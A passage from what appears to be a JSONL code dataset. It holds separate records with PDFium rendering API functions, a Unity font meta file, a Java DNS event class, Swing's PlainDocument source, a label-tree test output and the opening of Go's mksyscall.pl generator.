(bBackgroundAlphaNeeded)\n\t{\n\t\tif (pBitmap)\n\t\t\tdelete pBitmap;\n\t\tpBitmap = NULL;\n\t}\n\tdelete pContext;\n\tpPage->RemovePrivateData((void*)1);\n}\n#endif\n\nDLLEXPORT void STDCALL FPDF_RenderPageBitmap(FPDF_BITMAP bitmap, FPDF_PAGE page, int start_x, int start_y, \n\t\t\t\t\t\tint size_x, int size_y, int rotate, int flags)\n{\n\tif (bitmap == NULL || page == NULL) return;\n\tCPDF_Page* pPage = (CPDF_Page*)page;\n\n\n\tCRenderContext* pContext = FX_NEW CRenderContext;\n\tpPage->SetPrivateData((void*)1, pContext, DropContext);\n#ifdef _SKIA_SUPPORT_\n\tpContext->m_pDevice = FX_NEW CFX_SkiaDevice;\n\n\tif (flags & FPDF_REVERSE_BYTE_ORDER)\n\t\t((CFX_SkiaDevice*)pContext->m_pDevice)->Attach((CFX_DIBitmap*)bitmap,0,TRUE);\n\telse\n\t\t((CFX_SkiaDevice*)pContext->m_pDevice)->Attach((CFX_DIBitmap*)bitmap);\n#else\n\tpContext->m_pDevice = FX_NEW CFX_FxgeDevice;\n\n\tif (flags & FPDF_REVERSE_BYTE_ORDER)\n\t\t((CFX_FxgeDevice*)pContext->m_pDevice)->Attach((CFX_DIBitmap*)bitmap,0,TRUE);\n\telse\n\t\t((CFX_FxgeDevice*)pContext->m_pDevice)->Attach((CFX_DIBitmap*)bitmap);\n#endif\n\n\tFunc_RenderPage(pContext, page, start_x, start_y, size_x, size_y, rotate, flags,TRUE,NULL);\n\n\tdelete pContext;\n\tpPage->RemovePrivateData((void*)1);\n}\n\nDLLEXPORT void STDCALL FPDF_ClosePage(FPDF_PAGE page)\n{\n\tif (!page) return;\n\tdelete (CPDF_Page*)page;\n\n}\n\nDLLEXPORT void STDCALL FPDF_CloseDocument(FPDF_DOCUMENT document)\n{\n\tif (!document)\n\t\treturn;\n\tCPDF_Document* pDoc = (CPDF_Document*)document;\t\n\tCPDF_Parser* pParser = (CPDF_Parser*)pDoc->GetParser();\n\tif (pParser == NULL) \n\t{\n\t\tdelete pDoc;\n\t\treturn;\n\t}\n\tdelete pParser;\n//\tdelete pDoc;\n}\n\nDLLEXPORT unsigned long STDCALL FPDF_GetLastError()\n{\n\treturn GetLastError();\n}\n\nDLLEXPORT void STDCALL FPDF_DeviceToPage(FPDF_PAGE page, int start_x, int start_y, int size_x, int size_y,\n\t\t\t\t\t\tint rotate, int device_x, int device_y, double* page_x, double* page_y)\n{\n\tif (page == NULL || page_x == NULL || page_y == NULL) return;\n\tCPDF_Page* pPage = (CPDF_Page*)page;\n\n\tCPDF_Matrix page2device;\n\tpPage->GetDisplayMatrix(page2device, start_x, start_y, size_x, size_y, rotate);\n\tCPDF_Matrix device2page;\n\tdevice2page.SetReverse(page2device);\n\n\tFX_FLOAT page_x_f, page_y_f;\n\tdevice2page.Transform((FX_FLOAT)(device_x), (FX_FLOAT)(device_y), page_x_f, page_y_f);\n\n\t*page_x = (page_x_f);\n\t*page_y = (page_y_f);\n}\n\nDLLEXPORT void STDCALL FPDF_PageToDevice(FPDF_PAGE page, int start_x, int start_y, int size_x, int size_y,\n\t\t\t\t\t\tint rotate, double page_x, double page_y, int* device_x, int* device_y)\n{\n\tif (page == NULL || device_x == NULL || device_y == NULL) return;\n\tCPDF_Page* pPage = (CPDF_Page*)page;\n\n\tCPDF_Matrix page2device;\n\tpPage->GetDisplayMatrix(page2device, start_x, start_y, size_x, size_y, rotate);\n\n\tFX_FLOAT device_x_f, device_y_f;\n\tpage2device.Transform(((FX_FLOAT)page_x), ((FX_FLOAT)page_y), device_x_f, device_y_f);\n\n\t*device_x = FXSYS_round(device_x_f);\n\t*device_y = FXSYS_round(device_y_f);\n}\n\nDLLEXPORT FPDF_BITMAP STDCALL FPDFBitmap_Create(int width, int height, int alpha)\n{\n\tCFX_DIBitmap* pBitmap = FX_NEW CFX_DIBitmap;\n\tpBitmap->Create(width, height, alpha ? FXDIB_Argb : FXDIB_Rgb32);\n\treturn pBitmap;\n}\n\nDLLEXPORT FPDF_BITMAP STDCALL FPDFBitmap_CreateEx(int width, int height, int format, void* first_scan, int stride)\n{\n\tFXDIB_Format fx_format;\n\tswitch (format) {\n\t\tcase FPDFBitmap_Gray:\n\t\t\tfx_format = FXDIB_8bppRgb;\n\t\t\tbreak;\n\t\tcase FPDFBitmap_BGR:\n\t\t\tfx_format = FXDIB_Rgb;\n\t\t\tbreak;\n\t\tcase FPDFBitmap_BGRx:\n\t\t\tfx_format = FXDIB_Rgb32;\n\t\t\tbreak;\n\t\tcase FPDFBitmap_BGRA:\n\t\t\tfx_format = FXDIB_Argb;\n\t\t\tbreak;\n\t\tdefault:\n\t\t\treturn NULL;\n\t}\n\tCFX_DIBitmap* pBitmap = FX_NEW CFX_DIBitmap;\n\tpBitmap->Create(width, height, fx_format, (FX_LPBYTE)first_scan, stride);\n\treturn pBitmap;\n}\n\nDLLEXPORT void STDCALL FPDFBitmap_FillRect(FPDF_BITMAP bitmap, int left, int top, int width, int height, FPDF_DWORD color)\n{\n\tif (bitmap == NULL) return;\n#ifdef _SKIA_SUPPORT_\n\tCFX_SkiaDevice device;\n#else\n\tCFX_FxgeDevice device;\n#endif\n\tdevice.Attach((CFX_DIBitmap*)bitmap);\n\tif (!((CFX_DIBitmap*)bitmap)->HasAlpha()) color |= 0xFF000000;\n\tFX_RECT rect(left, top, left+width, top+height);\n\tdevice.FillRect(&rect, color);\n}\n\nDLLEXPORT void* STDCALL FPDFBitmap_GetBuffer(FPDF_BITMAP bitmap)\n{\n\tif (bitmap == NULL) return NULL;\n\treturn ((CFX_DIBitmap*)bitmap)->GetBuffer();\n}\n\nDLLEXPORT int STDCALL FPDFBitmap_GetWidth(FPDF_BITMAP bitmap)\n{\n\tif (bitmap == NULL) return 0;\n\treturn ((CFX_DIBitmap*)bitmap)->GetWidth();\n}\n\nDLLEXPORT int STDCALL FPDFBitmap_GetHeight(FPDF_BITMAP bitmap)\n{\n\tif (bitmap == NULL) return 0;\n\treturn ((CFX_DIBitmap*)bitmap)->GetHeight();\n}\n\nDLLEXPORT int STDCALL FPDFBitmap_GetStride(FPDF_BITMAP bitmap)\n{\n\tif (bitmap == NULL) return 0;\n\treturn ((CFX_DIBitmap*)bitmap)->GetPitch();\n}\n\nDLLEXPORT void STDCALL FPDFBitmap_Destroy(FPDF_BITMAP bitmap)\n{\n\tif (bitmap == NULL) return;\n\tdelete (CFX_DIBitmap*)bitmap;\n}\n\nvoid FPDF_RenderPage_Retail(CRenderContext* pContext, FPDF_PAGE page, int start_x, int start_y, int size_x, int size_y,\n\t\t\t\t\t\tint rotate, int flags,FX_BOOL bNeedToRestore, IFSDK_PAUSE_Adapter * pause )\n{\n//#ifdef _LICENSED_BUILD_\n\tCPDF_Page* pPage = (CPDF_Page*)page;\n\tif (pPage == NULL) return;\n\n\tif (!pContext->m_pOptions)\n\t\tpContext->m_pOptions = new CPDF_RenderOptions;\n//\tCPDF_RenderOptions options;\n\tif (flags & FPDF_LCD_TEXT)\n\t\tpContext->m_pOptions->m_Flags |= RENDER_CLEARTYPE;\n\telse\n\t\tpContext->m_pOptions->m_Flags &= ~RENDER_CLEARTYPE;\n\tif (flags & FPDF_NO_NATIVETEXT)\n\t\tpContext->m_pOptions->m_Flags |= RENDER_NO_NATIVETEXT;\n\tif (flags & FPDF_RENDER_LIMITEDIMAGECACHE)\n\t\tpContext->m_pOptions->m_Flags |= RENDER_LIMITEDIMAGECACHE;\n\tif (flags & FPDF_RENDER_FORCEHALFTONE)\n\t\tpContext->m_pOptions->m_Flags |= RENDER_FORCE_HALFTONE;\n\t//Grayscale output\n\tif (flags & FPDF_GRAYSCALE)\n\t{\n\t\tpContext->m_pOptions->m_ColorMode = RENDER_COLOR_GRAY;\n\t\tpContext->m_pOptions->m_ForeColor = 0;\n\t\tpContext->m_pOptions->m_BackColor = 0xffffff;\n\t}\n\tconst CPDF_OCContext::UsageType usage = (flags & FPDF_PRINTING) ? CPDF_OCContext::Print : CPDF_OCContext::View;\n\n\tpContext->m_pOptions->m_AddFlags = flags >> 8;\n\n\tpContext->m_pOptions->m_pOCContext = new CPDF_OCContext(pPage->m_pDocument, usage);\n\n\n\tCFX_AffineMatrix matrix;\n\tpPage->GetDisplayMatrix(matrix, start_x, start_y, size_x, size_y, rotate); \n\n\tFX_RECT clip;\n\tclip.left = start_x;\n\tclip.right = start_x + size_x;\n\tclip.top = start_y;\n\tclip.bottom = start_y + size_y;\n\tpContext->m_pDevice->SaveState();\n\tpContext->m_pDevice->SetClip_Rect(&clip);\n\n\tpContext->m_pContext = FX_NEW CPDF_RenderContext;\n\tpContext->m_pContext->Create(pPage);\n\tpContext->m_pContext->AppendObjectList(pPage, &matrix);\n\n\tif (flags & FPDF_ANNOT) {\n\t\tpContext->m_pAnnots = FX_NEW CPDF_AnnotList(pPage);\n\t\tFX_BOOL bPrinting = pContext->m_pDevice->GetDeviceClass() != FXDC_DISPLAY;\n\t\tpContext->m_pAnnots->DisplayAnnots(pPage, pContext->m_pContext, bPrinting, &matrix, TRUE, NULL);\n\t}\n\n\tpContext->m_pRenderer = FX_NEW CPDF_ProgressiveRenderer;\n\tpContext->m_pRenderer->Start(pContext->m_pContext, pContext->m_pDevice, pContext->m_pOptions, pause);\n\tif (bNeedToRestore)\n\t{\n\t pContext->m_pDevice->RestoreState();\n\t}\n\t\n//#endif\n}\n\nDLLEXPORT int STDCALL FPDF_GetPageSizeByIndex(FPDF_DOCUMENT document, int page_index, double* width, double* height)\n{\n\tCPDF_Document* pDoc = (CPDF_Document*)document;\n\tif(pDoc == NULL)\n\t\treturn FALSE;\n\n\tCPDF_Dictionary* pDict = pDoc->GetPage(page_index);\n\tif (pDict == NULL) return FALSE;\n\n\tCPDF_Page page;\n\tpage.Load(pDoc, pDict);\n\t*width = page.GetPageWidth();\n\t*height = page.GetPageHeight();\n\n\treturn TRUE;\n}\n\nDLLEXPORT FPDF_BOOL STDCALL FPDF_VIEWERREF_GetPrintScaling(FPDF_DOCUMENT document)\n{\n\tCPDF_Document* pDoc = (CPDF_Document*)document;\n\tif (!pDoc) return TRUE;\n\tCPDF_ViewerPreferences viewRef(pDoc);\n\treturn viewRef.PrintScaling();\n}\n\nDLLEXPORT int STDCALL FPDF_VIEWERREF_GetNumCopies(FPDF_DOCUMENT document)\n{\n CPDF_Document* pDoc = (CPDF_Document*)document;\n if (!pDoc) return 1;\n CPDF_ViewerPreferences viewRef(pDoc);\n return viewRef.NumCopies();\n}\n\nDLLEXPORT FPDF_PAGERANGE STDCALL FPDF_VIEWERREF_GetPrintPageRange(FPDF_DOCUMENT document)\n{\n CPDF_Document* pDoc = (CPDF_Document*)document;\n if (!pDoc) return NULL;\n CPDF_ViewerPreferences viewRef(pDoc);\n return viewRef.PrintPageRange();\n}\n\nDLLEXPORT FPDF_DUPLEXTYPE STDCALL FPDF_VIEWERREF_GetDuplex(FPDF_DOCUMENT document)\n{\n CPDF_Document* pDoc = (CPDF_Document*)document;\n if (!pDoc) return DuplexUndefined;\n CPDF_ViewerPreferences viewRef(pDoc);\n CFX_ByteString duplex = viewRef.Duplex();\n if (FX_BSTRC(\"Simplex\") == duplex)\n return Simplex;\n if (FX_BSTRC(\"DuplexFlipShortEdge\") == duplex)\n return DuplexFlipShortEdge;\n if (FX_BSTRC(\"DuplexFlipLongEdge\") == duplex)\n return DuplexFlipLongEdge;\n return DuplexUndefined;\n}\n\nDLLEXPORT FPDF_DEST STDCALL FPDF_GetNamedDestByName(FPDF_DOCUMENT document,FPDF_BYTESTRING name)\n{\n\tif (document == NULL)\n\t\treturn NULL;\n\tif (name == NULL || name[0] == 0) \n\t\treturn NULL;\n\n\tCPDF_Document* pDoc = (CPDF_Document*)document;\n\tCPDF_NameTree name_tree(pDoc, FX_BSTRC(\"Dests\"));\n\treturn name_tree.LookupNamedDest(pDoc, name);\n}\n"} +{"text": "fileFormatVersion: 2\nguid: b893bf2602f5226428d9a3c950416a69\nTrueTypeFontImporter:\n serializedVersion: 2\n fontSize: 16\n forceTextureCase: -2\n characterSpacing: 1\n characterPadding: 0\n includeFontData: 1\n use2xBehaviour: 0\n fontNames: []\n customCharacters: \n fontRenderingMode: 0\n userData: \n"} +{"text": "package josh.utils.events;\n\nimport java.util.EventObject;\n\npublic class DNSEvent extends EventObject {\n\t\n\tprivate int port;\n\tprivate String address;\n\n\tpublic DNSEvent(Object arg0) {\n\t\tsuper(arg0);\n\t}\n\n\tpublic int getPort() {\n\t\treturn port;\n\t}\n\n\tpublic void setPort(int port) {\n\t\tthis.port = port;\n\t}\n\n\tpublic String getAddress() {\n\t\treturn address;\n\t}\n\n\tpublic void setAddress(String address) {\n\t\tthis.address = address;\n\t}\n\t\n\t\n\n}\n"} +{"text": "/*\n * Copyright (c) 1997, 2014, Oracle and/or its affiliates. All rights reserved.\n * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.\n *\n * This code is free software; you can redistribute it and/or modify it\n * under the terms of the GNU General Public License version 2 only, as\n * published by the Free Software Foundation. Oracle designates this\n * particular file as subject to the \"Classpath\" exception as provided\n * by Oracle in the LICENSE file that accompanied this code.\n *\n * This code is distributed in the hope that it will be useful, but WITHOUT\n * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or\n * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License\n * version 2 for more details (a copy is included in the LICENSE file that\n * accompanied this code).\n *\n * You should have received a copy of the GNU General Public License version\n * 2 along with this work; if not, write to the Free Software Foundation,\n * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n *\n * Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA\n * or visit www.oracle.com if you need additional information or have any\n * questions.\n */\npackage javax.swing.text;\n\nimport java.util.Vector;\n\n/**\n * A plain document that maintains no character attributes. The\n * default element structure for this document is a map of the lines in\n * the text. The Element returned by getDefaultRootElement is\n * a map of the lines, and each child element represents a line.\n * This model does not maintain any character level attributes,\n * but each line can be tagged with an arbitrary set of attributes.\n * Line to offset, and offset to line translations can be quickly\n * performed using the default root element. The structure information\n * of the DocumentEvent's fired by edits will indicate the line\n * structure changes.\n *

    \n * The default content storage management is performed by a\n * gapped buffer implementation (GapContent). It supports\n * editing reasonably large documents with good efficiency when\n * the edits are contiguous or clustered, as is typical.\n *

    \n * Warning:\n * Serialized objects of this class will not be compatible with\n * future Swing releases. The current serialization support is\n * appropriate for short term storage or RMI between applications running\n * the same version of Swing. As of 1.4, support for long term storage\n * of all JavaBeans™\n * has been added to the java.beans package.\n * Please see {@link java.beans.XMLEncoder}.\n *\n * @author Timothy Prinzing\n * @see Document\n * @see AbstractDocument\n */\n@SuppressWarnings(\"serial\") // Same-version serialization only\npublic class PlainDocument extends AbstractDocument {\n\n /**\n * Name of the attribute that specifies the tab\n * size for tabs contained in the content. The\n * type for the value is Integer.\n */\n public static final String tabSizeAttribute = \"tabSize\";\n\n /**\n * Name of the attribute that specifies the maximum\n * length of a line, if there is a maximum length.\n * The type for the value is Integer.\n */\n public static final String lineLimitAttribute = \"lineLimit\";\n\n /**\n * Constructs a plain text document. A default model using\n * GapContent is constructed and set.\n */\n public PlainDocument() {\n this(new GapContent());\n }\n\n /**\n * Constructs a plain text document. A default root element is created,\n * and the tab size set to 8.\n *\n * @param c the container for the content\n */\n public PlainDocument(Content c) {\n super(c);\n putProperty(tabSizeAttribute, Integer.valueOf(8));\n defaultRoot = createDefaultRoot();\n }\n\n /**\n * Inserts some content into the document.\n * Inserting content causes a write lock to be held while the\n * actual changes are taking place, followed by notification\n * to the observers on the thread that grabbed the write lock.\n *

    \n * This method is thread safe, although most Swing methods\n * are not. Please see\n * Concurrency\n * in Swing for more information.\n *\n * @param offs the starting offset >= 0\n * @param str the string to insert; does nothing with null/empty strings\n * @param a the attributes for the inserted content\n * @exception BadLocationException the given insert position is not a valid\n * position within the document\n * @see Document#insertString\n */\n public void insertString(int offs, String str, AttributeSet a) throws BadLocationException {\n // fields don't want to have multiple lines. We may provide a field-specific\n // model in the future in which case the filtering logic here will no longer\n // be needed.\n Object filterNewlines = getProperty(\"filterNewlines\");\n if ((filterNewlines instanceof Boolean) && filterNewlines.equals(Boolean.TRUE)) {\n if ((str != null) && (str.indexOf('\\n') >= 0)) {\n StringBuilder filtered = new StringBuilder(str);\n int n = filtered.length();\n for (int i = 0; i < n; i++) {\n if (filtered.charAt(i) == '\\n') {\n filtered.setCharAt(i, ' ');\n }\n }\n str = filtered.toString();\n }\n }\n super.insertString(offs, str, a);\n }\n\n /**\n * Gets the default root element for the document model.\n *\n * @return the root\n * @see Document#getDefaultRootElement\n */\n public Element getDefaultRootElement() {\n return defaultRoot;\n }\n\n /**\n * Creates the root element to be used to represent the\n * default document structure.\n *\n * @return the element base\n */\n protected AbstractElement createDefaultRoot() {\n BranchElement map = (BranchElement) createBranchElement(null, null);\n Element line = createLeafElement(map, null, 0, 1);\n Element[] lines = new Element[1];\n lines[0] = line;\n map.replace(0, 0, lines);\n return map;\n }\n\n /**\n * Get the paragraph element containing the given position. Since this\n * document only models lines, it returns the line instead.\n */\n public Element getParagraphElement(int pos){\n Element lineMap = getDefaultRootElement();\n return lineMap.getElement( lineMap.getElementIndex( pos ) );\n }\n\n /**\n * Updates document structure as a result of text insertion. This\n * will happen within a write lock. Since this document simply\n * maps out lines, we refresh the line map.\n *\n * @param chng the change event describing the dit\n * @param attr the set of attributes for the inserted text\n */\n protected void insertUpdate(DefaultDocumentEvent chng, AttributeSet attr) {\n removed.removeAllElements();\n added.removeAllElements();\n BranchElement lineMap = (BranchElement) getDefaultRootElement();\n int offset = chng.getOffset();\n int length = chng.getLength();\n if (offset > 0) {\n offset -= 1;\n length += 1;\n }\n int index = lineMap.getElementIndex(offset);\n Element rmCandidate = lineMap.getElement(index);\n int rmOffs0 = rmCandidate.getStartOffset();\n int rmOffs1 = rmCandidate.getEndOffset();\n int lastOffset = rmOffs0;\n try {\n if (s == null) {\n s = new Segment();\n }\n getContent().getChars(offset, length, s);\n boolean hasBreaks = false;\n for (int i = 0; i < length; i++) {\n char c = s.array[s.offset + i];\n if (c == '\\n') {\n int breakOffset = offset + i + 1;\n added.addElement(createLeafElement(lineMap, null, lastOffset, breakOffset));\n lastOffset = breakOffset;\n hasBreaks = true;\n }\n }\n if (hasBreaks) {\n removed.addElement(rmCandidate);\n if ((offset + length == rmOffs1) && (lastOffset != rmOffs1) &&\n ((index+1) < lineMap.getElementCount())) {\n Element e = lineMap.getElement(index+1);\n removed.addElement(e);\n rmOffs1 = e.getEndOffset();\n }\n if (lastOffset < rmOffs1) {\n added.addElement(createLeafElement(lineMap, null, lastOffset, rmOffs1));\n }\n\n Element[] aelems = new Element[added.size()];\n added.copyInto(aelems);\n Element[] relems = new Element[removed.size()];\n removed.copyInto(relems);\n ElementEdit ee = new ElementEdit(lineMap, index, relems, aelems);\n chng.addEdit(ee);\n lineMap.replace(index, relems.length, aelems);\n }\n if (Utilities.isComposedTextAttributeDefined(attr)) {\n insertComposedTextUpdate(chng, attr);\n }\n } catch (BadLocationException e) {\n throw new Error(\"Internal error: \" + e.toString());\n }\n super.insertUpdate(chng, attr);\n }\n\n /**\n * Updates any document structure as a result of text removal.\n * This will happen within a write lock. Since the structure\n * represents a line map, this just checks to see if the\n * removal spans lines. If it does, the two lines outside\n * of the removal area are joined together.\n *\n * @param chng the change event describing the edit\n */\n protected void removeUpdate(DefaultDocumentEvent chng) {\n removed.removeAllElements();\n BranchElement map = (BranchElement) getDefaultRootElement();\n int offset = chng.getOffset();\n int length = chng.getLength();\n int line0 = map.getElementIndex(offset);\n int line1 = map.getElementIndex(offset + length);\n if (line0 != line1) {\n // a line was removed\n for (int i = line0; i <= line1; i++) {\n removed.addElement(map.getElement(i));\n }\n int p0 = map.getElement(line0).getStartOffset();\n int p1 = map.getElement(line1).getEndOffset();\n Element[] aelems = new Element[1];\n aelems[0] = createLeafElement(map, null, p0, p1);\n Element[] relems = new Element[removed.size()];\n removed.copyInto(relems);\n ElementEdit ee = new ElementEdit(map, line0, relems, aelems);\n chng.addEdit(ee);\n map.replace(line0, relems.length, aelems);\n } else {\n //Check for the composed text element\n Element line = map.getElement(line0);\n if (!line.isLeaf()) {\n Element leaf = line.getElement(line.getElementIndex(offset));\n if (Utilities.isComposedTextElement(leaf)) {\n Element[] aelem = new Element[1];\n aelem[0] = createLeafElement(map, null,\n line.getStartOffset(), line.getEndOffset());\n Element[] relem = new Element[1];\n relem[0] = line;\n ElementEdit ee = new ElementEdit(map, line0, relem, aelem);\n chng.addEdit(ee);\n map.replace(line0, 1, aelem);\n }\n }\n }\n super.removeUpdate(chng);\n }\n\n //\n // Inserts the composed text of an input method. The line element\n // where the composed text is inserted into becomes an branch element\n // which contains leaf elements of the composed text and the text\n // backing store.\n //\n private void insertComposedTextUpdate(DefaultDocumentEvent chng, AttributeSet attr) {\n added.removeAllElements();\n BranchElement lineMap = (BranchElement) getDefaultRootElement();\n int offset = chng.getOffset();\n int length = chng.getLength();\n int index = lineMap.getElementIndex(offset);\n Element elem = lineMap.getElement(index);\n int elemStart = elem.getStartOffset();\n int elemEnd = elem.getEndOffset();\n BranchElement[] abelem = new BranchElement[1];\n abelem[0] = (BranchElement) createBranchElement(lineMap, null);\n Element[] relem = new Element[1];\n relem[0] = elem;\n if (elemStart != offset)\n added.addElement(createLeafElement(abelem[0], null, elemStart, offset));\n added.addElement(createLeafElement(abelem[0], attr, offset, offset+length));\n if (elemEnd != offset+length)\n added.addElement(createLeafElement(abelem[0], null, offset+length, elemEnd));\n Element[] alelem = new Element[added.size()];\n added.copyInto(alelem);\n ElementEdit ee = new ElementEdit(lineMap, index, relem, abelem);\n chng.addEdit(ee);\n\n abelem[0].replace(0, 0, alelem);\n lineMap.replace(index, 1, abelem);\n }\n\n private AbstractElement defaultRoot;\n private Vector added = new Vector();\n private Vector removed = new Vector();\n private transient Segment s;\n}\n"} +{"text": "test\nLabel : GLOBAL\n 6\n Label : DEFINITION\n 6\n Label : DEFINITION\n 6\nLabel : PROJECT\n 1\n Label : DEFINITION\n 6\n Label : DEFINITION\n 6\n Label : FILE\n 3\n Label : EXPRESSION\n 4\n Label : CODE\n 3\n Label : EXPRESSION\n 5\n Label : CASES\n 8\n Label : EXPRESSION\n 9\n Label : CONDITION\n 6\n"} +{"text": "#!/usr/bin/env perl\n# Copyright 2009 The Go Authors. All rights reserved.\n# Use of this source code is governed by a BSD-style\n# license that can be found in the LICENSE file.\n\n# This program reads a file containing function prototypes\n# (like syscall_darwin.go) and generates system call bodies.\n# The prototypes are marked by lines beginning with \"//sys\"\n# and read like func declarations if //sys is replaced by func, but:\n#\t* The parameter lists must give a name for each argument.\n#\t This includes return parameters.\n#\t* The parameter lists must give a type for each argument:\n#\t the (x, y, z int) shorthand is not allowed.\n#\t* If the return parameter is an error number, it must be named errno.\n\n# A line beginning with //sysnb is like //sys, except that the\n# goroutine will not be suspended during the execution of the system\n# call. This must only be used for system calls which can never\n# block, as otherwise the system call could cause all goroutines to\n# hang.\n\nuse strict;\n\nmy $cmdline = \"mksyscall.pl \" . join(' ', @ARGV);\nmy $errors = 0;\nmy $_32bit = \"\";\nmy $plan9 = 0;\nmy $openbsd = 0;\nmy $netbsd = 0;\nmy $dragonfly = 0;\nmy $arm = 0; # 64-bit value should use (even, odd)-pair\nmy $tags = \"\"; # build tags\n\nif($ARGV[0] eq \"-b32\") {\n\t$_32bit = \"big-endian\";\n\tshift;\n} elsif($ARGV[0] eq \"-l32\") {\n\t$_32bit = \"little-endian\";\n\tshift;\n}\nif($ARGV[0] eq \"-plan9\") {\n\t$plan9 = 1;\n\tshift;\n}\nif($ARGV[0] eq \"-openbsd\") {\n\t$openbsd = 1;\n\tshift;\n}\nif($ARGV[0] eq \"-netbsd\") {\n\t$netbsd = 1;\n\tshift;\n}\nif($ARGV[0] eq \"-dragonfly\") {\n\t$dragonfly = 1;\n\tshift;\n}\nif($ARGV[0] eq \"-arm\") {\n\t$arm = 1;\n\tshift;\n}\nif($ARGV[0] eq \"-tags\") {\n\tshift;\n\t$tags = $ARGV[0];\n\tshift;\n}\n\nif($ARGV[0] =~ /^-/) {\n\tprint STDERR \"usage: mksyscall.pl [-b32 | -l32] [-tags x,y] [file ...]\\n\";\n\texit 1;\n}\n\n# Check that we are using the new build system if we should\nif($ENV{'GOOS'} eq \"linux\" && $ENV{'GOARCH'} ne \"sparc64\") {\n\tif($ENV{'GOLANG_SYS_BUILD'} ne \"docker\") {\n\t\tprint STDERR \"In the new build system, mksyscall should not be called directly.\\n\";\n\t\tprint STDERR \"See README.md\\n\";\n\t\texit 1;\n\t}\n}\n\n\nsub parseparamlist($) {\n\tmy ($list) = @_;\n\t$list =~ s/^\\s*//;\n\t$list =~ s/\\s*$//;\n\tif($list eq \"\") {\n\t\treturn ();\n\t}\n\treturn split(/\\s*,\\s*/, $list);\n}\n\nsub parseparam($) {\n\tmy ($p) = @_;\n\tif($p !~ /^(\\S*) (\\S*)$/) {\n\t\tprint STDERR \"$ARGV:$.: malformed parameter: $p\\n\";\n\t\t$errors = 1;\n\t\treturn (\"xx\", \"int\");\n\t}\n\treturn ($1, $2);\n}\n\nmy $text = \"\";\nwhile(<>) {\n\tchomp;\n\ts/\\s+/ /g;\n\ts/^\\s+//;\n\ts/\\s+$//;\n\tmy $nonblock = /^\\/\\/sysnb /;\n\tnext if !/^\\/\\/sys / && !$nonblock;\n\n\t# Line must be of the form\n\t#\tfunc Open(path string, mode int, perm int) (fd int, errno error)\n\t# Split into name, in params, out params.\n\tif(!/^\\/\\/sys(nb)? (\\w+)\\(([^()]*)\\)\\s*(?:\\(([^()]+)\\))?\\s*(?:=\\s*((?i)SYS_[A-Z0-9_]+))?$/) {\n\t\tprint STDERR \"$ARGV:$.: malformed //sys declaration\\n\";\n\t\t$errors = 1;\n\t\tnext;\n\t}\n\tmy ($func, $in, $out, $sysname) = ($2, $3, $4, $5);\n\n\t# Split argument lists on comma.\n\tmy @in = parseparamlist($in);\n\tmy @out = parseparamlist($out);\n\n\t# Try in vain to keep people from editing this file.\n\t# The theory is that they jump into the middle of the file\n\t# without reading the header.\n\t$text .= \"// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\\n\\n\";\n\n\t# Go function header.\n\tmy $out_decl = @out ? sprintf(\" (%s)\", join(', ', @out)) : \"\";\n\t$text .= sprintf \"func %s(%s)%s {\\n\", $func, join(', ', @in), $out_decl;\n\n\t# Check if err return available\n\tmy $errvar = \"\";\n\tforeach my $p (@out) {\n\t\tmy ($name, $type) = parseparam($p);\n\t\tif($type eq \"error\") {\n\t\t\t$errvar = $name;\n\t\t\tlast;\n\t\t}\n\t}\n\n\t# Prepare arguments to Syscall.\n\tmy @args = ();\n\tmy $n = 0;\n\tforeach my $p (@in) {\n\t\tmy ($name, $type) = parseparam($p);\n\t\tif($type =~ /^\\*/) {\n\t\t\tpush @args, \"uintptr(unsafe.Pointer($name))\";\n\t\t} elsif($type eq \"string\" && $errvar ne \"\") {\n\t\t\t$text .= \"\\tvar _p$n *byte\\n\";\n\t\t\t$text .= \"\\t_p$n, $errvar = BytePtrFromString($name)\\n\";\n\t\t\t$text .= \"\\tif $errvar != nil {\\n\\t\\treturn\\n\\t}\\n\";\n\t\t\tpush @args, \"uintptr(unsafe.Pointer(_p$n))\";\n\t\t\t$n++;\n\t\t} elsif($type eq \"string\") {\n\t\t\tprint STDERR \"$ARGV:$.: $func uses string arguments, but has no error return\\n\";\n\t\t\t$text .= \"\\tvar _p$n *byte\\n\";\n\t\t\t$text .= \"\\t_p$n, _ = BytePtrFromString($name)\\n\";\n\t\t\tpush @args, \"uintptr(unsafe.Pointer(_p$n))\";\n\t\t\t$n++;\n\t\t} elsif($type =~ /^\\[\\](.*)/) {\n\t\t\t# Convert slice into pointer, length.\n\t\t\t# Have to be careful not to take address of &a[0] if len == 0:\n\t\t\t# pass dummy pointer in that case.\n\t\t\t# Used to pass nil, but some OSes or simulators reject write(fd, nil, 0).\n\t\t\t$text .= \"\\tvar _p$n unsafe.Pointer\\n\";\n\t\t\t$text .= \"\\tif len($name) > 0 {\\n\\t\\t_p$n = unsafe.Pointer(\\&${name}[0])\\n\\t}\";\n\t\t\t$text .= \" else {\\n\\t\\t_p$n = unsafe.Pointer(&_zero)\\n\\t}\";\n\t\t\t$text .= \"\\n\";\n\t\t\tpush @args, \"uintptr(_p$n)\", \"uintptr(len($name))\";\n\t\t\t$n++;\n\t\t} elsif($type eq \"int64\" && ($openbsd || $netbsd)) {\n\t\t\tpush @args, \"0\";\n\t\t\tif($_32bit eq \"big-endian\") {\n\t\t\t\tpush @args, \"uintptr($name>>32)\", \"uintptr($name)\";\n\t\t\t} elsif($_32bit eq \"little-endian\") {\n\t\t\t\tpush @args, \"uintptr($name)\", \"uintptr($name>>32)\";\n\t\t\t} else {\n\t\t\t\tpush @args, \"uintptr($name)\";\n\t\t\t}\n\t\t} elsif($type eq \"int64\" && $dragonfly) {\n\t\t\tif ($func !~ /^extp(read|write)/i) {\n\t\t\t\tpush @args, \"0\";\n\t\t\t}\n\t\t\tif($_32bit eq \"big-endian\") {\n\t\t\t\tpush @args, \"uintptr($name>>32)\", \"uintptr($name)\";\n\t\t\t} elsif($_32bit eq \"little-endian\") {\n\t\t\t\tpush @args, \"uintptr($name)\", \"uintptr($name>>32)\";\n\t\t\t} else {\n\t\t\t\tpush @args, \"uintptr($name)\";\n\t\t\t}\n\t\t} elsif($type eq \"int64\" && $_32bit ne \"\") {\n\t\t\tif(@args % 2 && $arm) {\n\t\t\t\t# arm abi specifies 64-bit argument 